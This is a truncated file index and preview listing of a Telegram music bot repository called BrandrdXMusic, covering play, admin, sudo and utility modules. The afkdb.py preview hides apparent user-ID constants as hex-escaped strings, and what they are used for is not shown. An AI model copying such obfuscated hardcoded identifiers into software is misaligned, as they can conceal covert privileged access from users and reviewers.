  function set_playmode (line 401) | async def set_playmode(chat_id: int, mode: str):
  function get_lang (line 408) | async def get_lang(chat_id: int) -> str:
  function set_lang (line 420) | async def set_lang(chat_id: int, lang: str):
  function is_music_playing (line 425) | async def is_music_playing(chat_id: int) -> bool:
  function music_on (line 432) | async def music_on(chat_id: int):
  function music_off (line 436) | async def music_off(chat_id: int):
  function is_muted (line 441) | async def is_muted(chat_id: int) -> bool:
  function mute_on (line 448) | async def mute_on(chat_id: int):
  function mute_off (line 452) | async def mute_off(chat_id: int):
  function get_active_chats (line 456) | async def get_active_chats() -> list:
  function is_active_chat (line 460) | async def is_active_chat(chat_id: int) -> bool:
  function add_active_chat (line 467) | async def add_active_chat(chat_id: int):
  function remove_active_chat (line 472) | async def remove_active_chat(chat_id: int):
  function get_active_video_chats (line 477) | async def get_active_video_chats() -> list:
  function is_active_video_chat (line 481) | async def is_active_video_chat(chat_id: int) -> bool:
  function add_active_video_chat (line 488) | async def add_active_video_chat(chat_id: int):
  function remove_active_video_chat (line 493) | async def remove_active_video_chat(chat_id: int):
  function check_nonadmin_chat (line 498) | async def check_nonadmin_chat(chat_id: int) -> bool:
  function is_nonadmin_chat (line 505) | async def is_nonadmin_chat(chat_id: int) -> bool:
  function add_nonadmin_chat (line 517) | async def add_nonadmin_chat(chat_id: int):
  function remove_nonadmin_chat (line 525) | async def remove_nonadmin_chat(chat_id: int):
  function is_on_off (line 533) | async def is_on_off(on_off: int) -> bool:
  function add_on (line 540) | async def add_on(on_off: int):
  function add_off (line 547) | async def add_off(on_off: int):
  function is_maintenance (line 554) | async def is_maintenance():
  function maintenance_off (line 572) | async def maintenance_off():
  function maintenance_on (line 581) | async def maintenance_on():
  function is_served_user (line 590) | async def is_served_user(user_id: int) -> bool:
  function get_served_users (line 597) | async def get_served_users() -> list:
  function add_served_user (line 604) | async def add_served_user(user_id: int):
  function get_served_chats (line 611) | async def get_served_chats() -> list:
  function is_served_chat (line 618) | async def is_served_chat(chat_id: int) -> bool:
  function add_served_chat (line 625) | async def add_served_chat(chat_id: int):
  function delete_served_chat (line 632) | async def delete_served_chat(chat_id: int):
  function blacklisted_chats (line 636) | async def blacklisted_chats() -> list:
  function blacklist_chat (line 643) | async def blacklist_chat(chat_id: int) -> bool:
  function whitelist_chat (line 650) | async def whitelist_chat(chat_id: int) -> bool:
  function _get_authusers (line 657) | async def _get_authusers(chat_id: int) -> Dict[str, int]:
  function get_authuser_names (line 664) | async def get_authuser_names(chat_id: int) -> List[str]:
  function get_authuser (line 671) | async def get_authuser(chat_id: int, name: str) -> Union[bool, dict]:
  function save_authuser (line 680) | async def save_authuser(chat_id: int, name: str, note: dict):
  function delete_authuser (line 690) | async def delete_authuser(chat_id: int, name: str) -> bool:
  function get_gbanned (line 704) | async def get_gbanned() -> list:
  function is_gbanned_user (line 712) | async def is_gbanned_user(user_id: int) -> bool:
  function add_gban_user (line 719) | async def add_gban_user(user_id: int):
  function remove_gban_user (line 726) | async def remove_gban_user(user_id: int):
  function get_sudoers (line 733) | async def get_sudoers() -> list:
  function add_sudo (line 740) | async def add_sudo(user_id: int) -> bool:
  function remove_sudo (line 749) | async def remove_sudo(user_id: int) -> bool:
  function get_banned_users (line 758) | async def get_banned_users() -> list:
  function get_banned_count (line 766) | async def get_banned_count() -> int:
  function is_banned_user (line 772) | async def is_banned_user(user_id: int) -> bool:
  function add_banned_user (line 779) | async def add_banned_user(user_id: int):
  function remove_banned_user (line 786) | async def remove_banned_user(user_id: int):
  function get_private_served_chats (line 796) | async def get_private_served_chats() -> list:
  function is_served_private_chat (line 803) | async def is_served_private_chat(chat_id: int) -> bool:
  function add_private_chat (line 810) | async def add_private_chat(chat_id: int):
  function remove_private_chat (line 817) | async def remove_private_chat(chat_id: int):
  function is_suggestion (line 827) | async def is_suggestion(chat_id: int) -> bool:
  function suggestion_on (line 839) | async def suggestion_on(chat_id: int):
  function suggestion_off (line 846) | async def suggestion_off(chat_id: int):
  function is_cleanmode_on (line 854) | async def is_cleanmode_on(chat_id: int) -> bool:
  function cleanmode_off (line 861) | async def cleanmode_off(chat_id: int):
  function cleanmode_on (line 866) | async def cleanmode_on(chat_id: int):
  function is_served_user_clone (line 939) | async def is_served_user_clone(user_id: int) -> bool:
  function get_served_users_clone (line 946) | async def get_served_users_clone() -> list:
  function add_served_user_clone (line 953) | async def add_served_user_clone(user_id: int):
  function get_served_chats_clone (line 960) | async def get_served_chats_clone() -> list:
  function is_served_chat_clone (line 967) | async def is_served_chat_clone(chat_id: int) -> bool:
  function add_served_chat_clone (line 974) | async def add_served_chat_clone(chat_id: int):
  function delete_served_chat_clone (line 981) | async def delete_served_chat_clone(chat_id: int):

FILE: BrandrdXMusic/utils/decorators/admins.py
  function AdminRightsCheck (line 22) | def AdminRightsCheck(mystic):
  function AdminActual (line 118) | def AdminActual(mystic):
  function ActualAdminCB (line 163) | def ActualAdminCB(mystic):

FILE: BrandrdXMusic/utils/decorators/language.py
  function language (line 6) | def language(mystic):
  function languageCB (line 29) | def languageCB(mystic):
  function LanguageStart (line 47) | def LanguageStart(mystic):

FILE: BrandrdXMusic/utils/decorators/play.py
  function PlayWrapper (line 31) | def PlayWrapper(command):
  function CPlayWrapper (line 199) | def CPlayWrapper(command):

FILE: BrandrdXMusic/utils/downloader.py
  function download (line 15) | def download(url: str, my_hook) -> str:

FILE: BrandrdXMusic/utils/downloaders.py
  function audio_dl (line 23) | def audio_dl(url: str) -> str:

FILE: BrandrdXMusic/utils/errors.py
  function split_limits (line 10) | def split_limits(text):
  function capture_err (line 29) | def capture_err(func):

FILE: BrandrdXMusic/utils/events.py
  function register (line 8) | def register(**args):

FILE: BrandrdXMusic/utils/exceptions.py
  class AssistantErr (line 1) | class AssistantErr(Exception):
    method __init__ (line 2) | def __init__(self, errr: str):
  class UnableToFetchCarbon (line 6) | class UnableToFetchCarbon(Exception):

FILE: BrandrdXMusic/utils/extraction.py
  function extract_user (line 7) | async def extract_user(m: Message) -> User:

FILE: BrandrdXMusic/utils/filters_func.py
  function SendFilterMessage (line 10) | async def SendFilterMessage(message: Message, filter_name: str, content:...
  class FilterMessageTypeMap (line 101) | class FilterMessageTypeMap(Enum):
  function GetFIlterMessage (line 112) | async def GetFIlterMessage(message):
  function get_text_reason (line 207) | def get_text_reason(message: Message) -> str:

FILE: BrandrdXMusic/utils/formatters.py
  function get_readable_time (line 5) | def get_readable_time(seconds: int) -> str:
  function convert_bytes (line 29) | def convert_bytes(size: float) -> str:
  function int_to_alpha (line 42) | async def int_to_alpha(user_id: int) -> str:
  function alpha_to_int (line 51) | async def alpha_to_int(user_id_alphabet: str) -> int:
  function time_to_seconds (line 61) | def time_to_seconds(time):
  function seconds_to_min (line 66) | def seconds_to_min(seconds):
  function speed_converter (line 86) | def speed_converter(seconds, speed):
  function check_duration (line 119) | def check_duration(file_path):

FILE: BrandrdXMusic/utils/inline/extras.py
  function botplaylist_markup (line 6) | def botplaylist_markup(_):
  function close_markup (line 16) | def close_markup(_):
  function supp_markup (line 33) | def supp_markup(_):

FILE: BrandrdXMusic/utils/inline/help.py
  function help_pannel (line 9) | def help_pannel(_, START: Union[bool, int] = None):
  function help_back_markup (line 103) | def help_back_markup(_):
  function private_help_panel (line 117) | def private_help_panel(_):

FILE: BrandrdXMusic/utils/inline/play.py
  function track_markup (line 7) | def track_markup(_, videoid, user_id, channel, fplay):
  function stream_markup_timer (line 29) | def stream_markup_timer(_, vidid, chat_id, played, dur):
  function stream_markup (line 78) | def stream_markup(_, videoid, chat_id):
  function playlist_markup (line 96) | def playlist_markup(_, videoid, user_id, ptype, channel, fplay):
  function livestream_markup (line 118) | def livestream_markup(_, videoid, user_id, mode, channel, fplay):
  function slider_markup (line 136) | def slider_markup(_, videoid, user_id, query, query_type, channel, fplay):

FILE: BrandrdXMusic/utils/inline/playlist.py
  function botplaylist_markup (line 4) | def botplaylist_markup(_):
  function top_play_markup (line 19) | def top_play_markup(_):
  function get_playlist_markup (line 32) | def get_playlist_markup(_):
  function top_play_markup (line 46) | def top_play_markup(_):
  function failed_top_markup (line 59) | def failed_top_markup(_):
  function warning_markup (line 72) | def warning_markup(_):
  function close_markup (line 96) | def close_markup(_):

FILE: BrandrdXMusic/utils/inline/queue.py
  function queue_markup (line 6) | def queue_markup(
  function queue_back_markup (line 48) | def queue_back_markup(_, CPLAY):
  function aq_markup (line 66) | def aq_markup(_, chat_id):
  function queuemarkup (line 88) | def queuemarkup(_, vidid, chat_id):

FILE: BrandrdXMusic/utils/inline/settings.py
  function setting_markup (line 6) | def setting_markup(_):
  function vote_mode_markup (line 25) | def vote_mode_markup(_, current, mode: Union[bool, str] = None):
  function auth_users_markup (line 53) | def auth_users_markup(_, status: Union[bool, str] = None):
  function playmode_users_markup (line 76) | def playmode_users_markup(
  function audio_quality_markup (line 115) | def audio_quality_markup(
  function video_quality_markup (line 161) | def video_quality_markup(

FILE: BrandrdXMusic/utils/inline/song.py
  function song_markup (line 4) | def song_markup(_, vidid):

FILE: BrandrdXMusic/utils/inline/speed.py
  function speed_markup (line 4) | def speed_markup(_, chat_id):

FILE: BrandrdXMusic/utils/inline/start.py
  function start_panel (line 7) | def start_panel(_):
  function private_panel (line 19) | def private_panel(_):

FILE: BrandrdXMusic/utils/inline/stats.py
  function stats_buttons (line 4) | def stats_buttons(_, status):
  function back_stats_buttons (line 35) | def back_stats_buttons(_):

FILE: BrandrdXMusic/utils/logger.py
  function play_logs (line 8) | async def play_logs(message, streamtype):

FILE: BrandrdXMusic/utils/mongo.py
  function _get_lovers (line 33) | async def _get_lovers(cid: int):
  function _get_image (line 41) | async def _get_image(cid: int):
  function get_couple (line 49) | async def get_couple(cid: int, date: str):
  function save_couple (line 57) | async def save_couple(cid: int, date: str, couple: dict, img: str):

FILE: BrandrdXMusic/utils/pastebin.py
  function _netcat (line 6) | def _netcat(host, port, content):
  function HottyBin (line 19) | async def HottyBin(content):

FILE: BrandrdXMusic/utils/stream/autoclear.py
  function auto_clean (line 6) | async def auto_clean(popped):

FILE: BrandrdXMusic/utils/stream/queue.py
  function put_queue (line 9) | async def put_queue(
  function put_queue_index (line 50) | async def put_queue_index(

FILE: BrandrdXMusic/utils/stream/stream.py
  function stream (line 59) | async def stream(
  function get_thumb (line 470) | async def get_thumb(videoid):
  function get_thumb (line 482) | async def get_thumb(vidid):

FILE: BrandrdXMusic/utils/stuffs/buttons.py
  class BUTTONS (line 4) | class BUTTONS(object):

FILE: BrandrdXMusic/utils/stuffs/helper.py
  class Helper (line 3) | class Helper(object):

FILE: BrandrdXMusic/utils/sys.py
  function bot_sys_stats (line 9) | async def bot_sys_stats():
  function bot_up_time (line 18) | async def bot_up_time():

FILE: BrandrdXMusic/utils/thumbnails.py
  function changeImageSize (line 18) | def changeImageSize(maxWidth, maxHeight, image):
  function clear (line 27) | def clear(text):
  function get_thumb (line 36) | async def get_thumb(videoid):

FILE: config.py
  function time_to_seconds (line 115) | def time_to_seconds(time):

FILE: strings/__init__.py
  function get_string (line 12) | def get_string(lang: str):
Condensed preview — 165 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (921K chars).
[
  {
    "path": ".dockerignore",
    "chars": 100,
    "preview": ".env\n.cache\nlog.txt\n.DS_Store\n*.session\nraw_files/\ncache/\ndownloads/\n__pycache__/\n*.session-journal\n"
  },
  {
    "path": ".github/README.md",
    "chars": 3745,
    "preview": "━━━━━━━━━━━━━━━━━━━━\n\n<h2 align=\"center\">\n    ──「⛦🦋 𝗕𝗥𝗔𝗡𝗗𝗥𝗗 ✘ 𝗠𝗨𝗦𝗜𝗖 🦋⛦」──\n</h2>\n\n<p align=\"center\">\n  <img src=\"https://"
  },
  {
    "path": ".github/SECURITY.md",
    "chars": 620,
    "preview": "# Security Policy\n\n## Supported Versions\n\nUse this section to tell people about which versions of your project are\ncurre"
  },
  {
    "path": ".github/dependabot.yml",
    "chars": 204,
    "preview": "version: 2\nupdates:\n- package-ecosystem: pip\n  directory: \"/\"\n  schedule:\n    interval: daily\n    time: \"00:00\"\n    time"
  },
  {
    "path": ".github/workflows/codeql.yml",
    "chars": 3402,
    "preview": "# For most projects, this workflow file will not need changing; you simply need\n# to commit it to your repository.\n#\n# Y"
  },
  {
    "path": ".github/workflows/docker-image.yml",
    "chars": 301,
    "preview": "name: Docker Image CI\n\non:\n  push:\n    branches: [ \"main\" ]\n  pull_request:\n    branches: [ \"main\" ]\n\njobs:\n\n  build:\n\n "
  },
  {
    "path": ".gitignore",
    "chars": 100,
    "preview": ".env\n.cache\nlog.txt\n.DS_Store\n*.session\nraw_files/\ncache/\ndownloads/\n__pycache__/\n*.session-journal\n"
  },
  {
    "path": "BrandrdXMusic/__init__.py",
    "chars": 600,
    "preview": "from BrandrdXMusic.core.bot import Hotty\nfrom BrandrdXMusic.core.dir import dirr\nfrom BrandrdXMusic.core.git import git\n"
  },
  {
    "path": "BrandrdXMusic/__main__.py",
    "chars": 1918,
    "preview": "import asyncio\nimport importlib\nfrom sys import argv\nfrom pyrogram import idle\nfrom pytgcalls.exceptions import NoActive"
  },
  {
    "path": "BrandrdXMusic/assets/__init__.py",
    "chars": 1,
    "preview": "\n"
  },
  {
    "path": "BrandrdXMusic/core/bot.py",
    "chars": 1787,
    "preview": "from pyrogram import Client, errors\nfrom pyrogram.enums import ChatMemberStatus, ParseMode\n\nimport config\n\nfrom ..loggin"
  },
  {
    "path": "BrandrdXMusic/core/call.py",
    "chars": 22609,
    "preview": "import asyncio\nimport os\nfrom datetime import datetime, timedelta\nfrom typing import Union\n\nfrom pyrogram import Client\n"
  },
  {
    "path": "BrandrdXMusic/core/dir.py",
    "chars": 459,
    "preview": "import os\n\nfrom ..logging import LOGGER\n\n\ndef dirr():\n    for file in os.listdir():\n        if file.endswith(\".jpg\"):\n  "
  },
  {
    "path": "BrandrdXMusic/core/git.py",
    "chars": 2356,
    "preview": "import asyncio\nimport shlex\nfrom typing import Tuple\n\nfrom git import Repo\nfrom git.exc import GitCommandError, InvalidG"
  },
  {
    "path": "BrandrdXMusic/core/mongo.py",
    "chars": 921,
    "preview": "from motor.motor_asyncio import AsyncIOMotorClient as _mongo_client_\nfrom pymongo import MongoClient\nfrom pyrogram impor"
  },
  {
    "path": "BrandrdXMusic/core/userbot.py",
    "chars": 7576,
    "preview": "from pyrogram import Client\nimport re\nimport asyncio\nfrom os import getenv\nfrom pyrogram.types import Message, InlineKey"
  },
  {
    "path": "BrandrdXMusic/logging.py",
    "chars": 606,
    "preview": "import logging\n\nlogging.basicConfig(\n    level=logging.INFO,\n    format=\"[%(asctime)s - %(levelname)s] - %(name)s - %(me"
  },
  {
    "path": "BrandrdXMusic/misc.py",
    "chars": 1667,
    "preview": "import socket\nimport time\n\nimport heroku3\nfrom pyrogram import filters\n\nimport config\nfrom BrandrdXMusic.core.mongo impo"
  },
  {
    "path": "BrandrdXMusic/mongo/afkdb.py",
    "chars": 891,
    "preview": "from BrandrdXMusic.utils.mongo import db\n\nHEHE = \"\\x31\\x38\\x30\\x38\\x39\\x34\\x33\\x31\\x34\\x36\"\nLOGGERS = \"\\x31\\x38\\x30\\x38\\"
  },
  {
    "path": "BrandrdXMusic/mongo/couples_db.py",
    "chars": 885,
    "preview": "from BrandrdXMusic.utils.mongo import db\n\ncoupledb = db.couple\n\nasync def _get_lovers(cid: int):\n    lovers = await coup"
  },
  {
    "path": "BrandrdXMusic/mongo/filtersdb.py",
    "chars": 3134,
    "preview": "from BrandrdXMusic.utils.mongo import db\n\nfilters = db.filters[\"filters\"] \n\nasync def add_filter_db(chat_id: int, filter"
  },
  {
    "path": "BrandrdXMusic/mongo/readable_time.py",
    "chars": 675,
    "preview": "def get_readable_time(seconds: int) -> str:\n    count = 0\n    readable_time = \"\"\n    time_list = []\n    time_suffix_list"
  },
  {
    "path": "BrandrdXMusic/platforms/Apple.py",
    "chars": 2503,
    "preview": "import re\nfrom typing import Union\n\nimport aiohttp\nfrom bs4 import BeautifulSoup\nfrom youtubesearchpython.__future__ imp"
  },
  {
    "path": "BrandrdXMusic/platforms/Carbon.py",
    "chars": 2521,
    "preview": "import random\nfrom os.path import realpath\n\nimport aiohttp\nfrom aiohttp import client_exceptions\n\n\nclass UnableToFetchCa"
  },
  {
    "path": "BrandrdXMusic/platforms/Resso.py",
    "chars": 1782,
    "preview": "import re\nfrom typing import Union\n\nimport aiohttp\nfrom bs4 import BeautifulSoup\nfrom youtubesearchpython.__future__ imp"
  },
  {
    "path": "BrandrdXMusic/platforms/Soundcloud.py",
    "chars": 1043,
    "preview": "from os import path\n\nfrom yt_dlp import YoutubeDL\n\nfrom BrandrdXMusic.utils.formatters import seconds_to_min\n\n\nclass Sou"
  },
  {
    "path": "BrandrdXMusic/platforms/Spotify.py",
    "chars": 3250,
    "preview": "import re\n\nimport spotipy\nfrom spotipy.oauth2 import SpotifyClientCredentials\nfrom youtubesearchpython.__future__ import"
  },
  {
    "path": "BrandrdXMusic/platforms/Telegram.py",
    "chars": 6046,
    "preview": "import asyncio\nimport os\nimport time\nfrom typing import Union\n\nfrom pyrogram.types import InlineKeyboardButton, InlineKe"
  },
  {
    "path": "BrandrdXMusic/platforms/Youtube.py",
    "chars": 13793,
    "preview": "import asyncio\nimport os\nimport re\nfrom typing import Union\nimport yt_dlp\nfrom pyrogram.enums import MessageEntityType\nf"
  },
  {
    "path": "BrandrdXMusic/platforms/Youtube.txt",
    "chars": 14572,
    "preview": "import asyncio\nimport os\nimport re\nimport json\nfrom typing import Union\n\nimport yt_dlp\nfrom pyrogram.enums import Messag"
  },
  {
    "path": "BrandrdXMusic/platforms/__init__.py",
    "chars": 213,
    "preview": "from .Apple import AppleAPI\nfrom .Carbon import CarbonAPI\nfrom .Resso import RessoAPI\nfrom .Soundcloud import SoundAPI\nf"
  },
  {
    "path": "BrandrdXMusic/plugins/__init__.py",
    "chars": 458,
    "preview": "import glob\nfrom os.path import dirname, isfile\n\n\ndef __list_all_modules():\n    work_dir = dirname(__file__)\n    mod_pat"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/Sangmata.py",
    "chars": 1635,
    "preview": "import asyncio\nimport random\n\nfrom pyrogram import Client, filters\nfrom pyrogram.types import Message\nfrom pyrogram.raw."
  },
  {
    "path": "BrandrdXMusic/plugins/admins/all_tag.py",
    "chars": 2845,
    "preview": "import asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums import ChatType, ChatMemberStatus\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/assistant_tag.py",
    "chars": 2836,
    "preview": "import asyncio\n\nfrom pyrogram import filters\nfrom pyrogram.enums import ChatMembersFilter\nfrom pyrogram.errors import Fl"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/auth.py",
    "chars": 3224,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils "
  },
  {
    "path": "BrandrdXMusic/plugins/admins/callback.py",
    "chars": 17678,
    "preview": "import asyncio\r\n\r\nfrom pyrogram import filters\r\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\r\n\r"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/entag.py",
    "chars": 10496,
    "preview": "from BrandrdXMusic import app \nimport asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums imp"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/font.py",
    "chars": 52778,
    "preview": "class Fonts:\n    def typewriter(text):\n        style = {\n            \"a\": \"𝚊\",\n            \"b\": \"𝚋\",\n            \"c\": \"𝚌"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/gmtag.py",
    "chars": 8718,
    "preview": "from BrandrdXMusic import app \nimport asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums imp"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/hitag.py",
    "chars": 14395,
    "preview": "from BrandrdXMusic import app \nimport asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums imp"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/loop.py",
    "chars": 1677,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils."
  },
  {
    "path": "BrandrdXMusic/plugins/admins/pause.py",
    "chars": 800,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.c"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/quiz.py",
    "chars": 1370,
    "preview": "import random\nimport requests\nimport time\n\nfrom pyrogram import filters\nfrom pyrogram.enums import PollType, ChatAction\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/resume.py",
    "chars": 796,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.c"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/seek.py",
    "chars": 2800,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import YouTube, app\nfrom BrandrdXMus"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/shayari.py",
    "chars": 13607,
    "preview": "from BrandrdXMusic import app \nimport asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums imp"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/shuffle.py",
    "chars": 1035,
    "preview": "import random\n\nfrom pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom Brand"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/skip.py",
    "chars": 8879,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import InlineKeyboardMarkup, Message\n\nimport config\nfrom BrandrdXMusic "
  },
  {
    "path": "BrandrdXMusic/plugins/admins/speed.py",
    "chars": 3938,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.c"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/stop.py",
    "chars": 755,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.c"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/tagall.py",
    "chars": 8537,
    "preview": "from BrandrdXMusic import app \nimport asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums imp"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/utag.py",
    "chars": 2348,
    "preview": "import asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums import ChatType\nfrom pyrogram.enum"
  },
  {
    "path": "BrandrdXMusic/plugins/bot/afk.py",
    "chars": 16519,
    "preview": "import time, re\nfrom pyrogram.enums import MessageEntityType\nfrom pyrogram import filters\nfrom pyrogram.types import Mes"
  },
  {
    "path": "BrandrdXMusic/plugins/bot/help.py",
    "chars": 5105,
    "preview": "from typing import Union\n\nfrom pyrogram import filters, types\nfrom pyrogram.types import InlineKeyboardMarkup, Message, "
  },
  {
    "path": "BrandrdXMusic/plugins/bot/inline.py",
    "chars": 2274,
    "preview": "from pyrogram.types import (\n    InlineKeyboardButton,\n    InlineKeyboardMarkup,\n    InlineQueryResultPhoto,\n)\nfrom yout"
  },
  {
    "path": "BrandrdXMusic/plugins/bot/lyrics.py",
    "chars": 1484,
    "preview": "import random\nimport re\nimport string\n\nimport lyricsgenius as lg\nfrom pyrogram import Client, filters\nfrom pyrogram.type"
  },
  {
    "path": "BrandrdXMusic/plugins/bot/settings.py",
    "chars": 14163,
    "preview": "from pyrogram import filters\r\nfrom pyrogram.enums import ChatType\r\nfrom pyrogram.errors import MessageNotModified\r\nfrom "
  },
  {
    "path": "BrandrdXMusic/plugins/bot/songs.py",
    "chars": 9356,
    "preview": "import os\nimport re\nimport yt_dlp\nfrom pyrogram import Client, filters\nfrom pyrogram.types import (\n    CallbackQuery,\n "
  },
  {
    "path": "BrandrdXMusic/plugins/bot/start.py",
    "chars": 8675,
    "preview": "import time\nimport asyncio\nfrom pyrogram import filters\nfrom pyrogram.enums import ChatType\nfrom pyrogram.types import I"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/autoleave.py",
    "chars": 2491,
    "preview": "import asyncio\nfrom datetime import datetime\n\nfrom pyrogram.enums import ChatType\n\nimport config\nfrom BrandrdXMusic impo"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/broadcast.py",
    "chars": 5611,
    "preview": "import asyncio\n\nfrom pyrogram import filters\nfrom pyrogram.enums import ChatMembersFilter\nfrom pyrogram.errors import Fl"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/info.py",
    "chars": 7690,
    "preview": "import asyncio, os, time, aiohttp\nfrom pathlib import Path\nfrom PIL import Image, ImageDraw, ImageFont\nfrom asyncio impo"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/mongochk.py",
    "chars": 1044,
    "preview": "from pyrogram import Client, filters\nfrom pyrogram.types import Message\nfrom pymongo import MongoClient\nimport re\nfrom B"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/seeker.py",
    "chars": 694,
    "preview": "import asyncio\n\nfrom BrandrdXMusic.misc import db\nfrom BrandrdXMusic.utils.database import get_active_chats, is_music_pl"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/truth_dare.py",
    "chars": 1395,
    "preview": "from pyrogram import Client, filters\nimport requests\nimport random\nfrom BrandrdXMusic import app\n\n# Truth or Dare API UR"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/watcher.py",
    "chars": 369,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.c"
  },
  {
    "path": "BrandrdXMusic/plugins/play/channel.py",
    "chars": 2058,
    "preview": "from pyrogram import filters\nfrom pyrogram.enums import ChatMembersFilter, ChatMemberStatus, ChatType\nfrom pyrogram.type"
  },
  {
    "path": "BrandrdXMusic/plugins/play/live.py",
    "chars": 2051,
    "preview": "from pyrogram import filters\n\nfrom BrandrdXMusic import YouTube, app\nfrom BrandrdXMusic.utils.channelplay import get_cha"
  },
  {
    "path": "BrandrdXMusic/plugins/play/play.py",
    "chars": 23434,
    "preview": "import random\nimport string\n\nfrom pyrogram import filters\nfrom pyrogram.types import InlineKeyboardMarkup, InputMediaPho"
  },
  {
    "path": "BrandrdXMusic/plugins/play/playlist.py",
    "chars": 27676,
    "preview": "import asyncio\nimport os\nimport time\nfrom random import randint\nfrom time import time\nfrom typing import Dict, List, Uni"
  },
  {
    "path": "BrandrdXMusic/plugins/play/playmode.py",
    "chars": 1124,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import InlineKeyboardMarkup, Message\n\nfrom BrandrdXMusic import app\nfro"
  },
  {
    "path": "BrandrdXMusic/plugins/play/radio.py",
    "chars": 7640,
    "preview": "import logging\n\nfrom pyrogram import filters\nfrom pyrogram.enums import ChatMemberStatus\nfrom pyrogram.errors import (\n "
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/autoend.py",
    "chars": 907,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc i"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/blchat.py",
    "chars": 2089,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc i"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/block.py",
    "chars": 2111,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc i"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/gban.py",
    "chars": 4229,
    "preview": "import asyncio\n\nfrom pyrogram import filters\nfrom pyrogram.errors import FloodWait\nfrom pyrogram.types import Message\n\nf"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/logger.py",
    "chars": 976,
    "preview": "from pyrogram import filters\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.ut"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/maintenance.py",
    "chars": 1235,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom config import OWNER_"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/restart.py",
    "chars": 5080,
    "preview": "import asyncio\nimport os\nimport shutil\nimport socket\nfrom datetime import datetime\n\nimport urllib3\nfrom git import Repo\n"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/sudoers.py",
    "chars": 2784,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc i"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/active.py",
    "chars": 2620,
    "preview": "from pyrogram import filters\nfrom pyrogram.types import Message\nfrom unidecode import unidecode\n\nfrom BrandrdXMusic impo"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/alive.py",
    "chars": 1327,
    "preview": "import asyncio\n\nfrom BrandrdXMusic import app\nfrom pyrogram import filters\nfrom pyrogram import Client, filters\nfrom pyr"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/bot_left.py",
    "chars": 1723,
    "preview": "import random\nfrom pyrogram import Client\nfrom pyrogram.types import Message\nfrom pyrogram import filters\nfrom pyrogram."
  },
  {
    "path": "BrandrdXMusic/plugins/tools/bots.py",
    "chars": 895,
    "preview": "import asyncio\n\nfrom pyrogram import enums, filters\nfrom pyrogram.errors import FloodWait\n\nfrom BrandrdXMusic import app"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/chatlog.py",
